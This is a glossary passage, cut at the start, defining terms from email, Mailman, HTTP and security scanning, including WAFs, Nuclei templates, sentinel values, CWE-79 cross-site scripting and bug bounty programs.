From:,To:orSubject:, describing the message. - SMTP: the standard protocol for sending email.
- Moderation queue: the holding area where messages from non-members wait for the list admin to approve or reject them.
- Pickling: Python's way of saving an object to a file so it can be loaded again later.
Utils.websafe(): Mailman's HTML escaper, which makes text safe to place in a page.- HTTP: the protocol browsers and servers use to exchange requests and responses.
- GET: the HTTP method meaning "give me this page".
- HTTP status code: the number a server returns to say how a request went, such as 200 for success or 403 for forbidden.
- WAF (web application firewall): a filter in front of a website that inspects requests and blocks suspicious ones.
- CDN (content delivery network): a service in front of a site that speeds it up and filters traffic.
- Nuclei: a free tool that sends predefined requests to many servers and reports which ones match a pattern.
- Template: a predefined check written for Nuclei in a simple text format.
- Fingerprint: a piece of text or behaviour that identifies a particular piece of software.
- Sentinel: a harmless marker value whose only job is to be recognised when it comes back.
- CWE: a public catalogue of software weakness types; CWE-79 is cross-site scripting.
- Pull request: a proposed change to a shared code repository, reviewed by its maintainers before being accepted.
- Bug bounty program: a scheme where an organisation pays people for reporting security bugs in its systems.